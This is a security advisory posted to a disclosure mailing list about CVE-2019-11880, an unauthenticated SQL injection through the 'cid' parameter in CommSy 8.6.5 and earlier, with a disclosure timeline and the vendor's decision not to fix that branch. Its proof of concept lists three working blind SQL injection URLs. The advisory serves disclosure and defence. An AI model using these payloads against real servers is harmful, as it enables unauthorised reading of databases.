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Date: Wed, 15 May 2019 07:15:05 +0000
From: Jens Regel | Schneider & Wulf <>
To: Undisclosed recipients:;
Subject: [FD] [CVE-2019-11880] CommSy <= 8.6.5 - SQL injection

CommSy <= 8.6.5 - SQL injection

Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG


2019-04-15 Vulnerability discovered
2019-04-15 Asked for security contact and PGP key
2019-04-16 Send details to the vendor
2019-05-07 Flaw was approved but will not be fixed in branch 8.6
2019-05-15 Public disclosure

Affected Products:
CommSy <= 8.6.5

Vendor Homepage:

CommSy is a web-based community system, originally developed at the
University of Hamburg, Germany, to support learning/working communities.
We have discovered a unauthenticated SQL injection vulnerability in
CommSy <= 8.6.5 that makes it possible to read all database content. The
vulnerability exists in the HTTP GET parameter "cid".

Proof of Concept:
boolean-based blind:
commsy.php?cid=101" AND 3823=(SELECT (CASE WHEN (3823=3823) THEN 3823
ELSE (SELECT 7548 UNION SELECT 4498) END))-- dGRD&mod=context&fct=login

commsy.php?cid=101" AND (SELECT 6105 FROM(SELECT
(ELT(6105=6105,1))),0x716b6a6b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jzQs&mod=context&fct=login

time-based blind:
commsy.php?cid=101" AND SLEEP(5)-- MjJM&mod=context&fct=login

According to the manufacturer, the version branch 8.6 is no longer
supported and the vulnerability will not be fixed. Customers should
update to the newest version 9.2.

Download attachment "signature.asc" of type "application/pgp-signature" (834 bytes)

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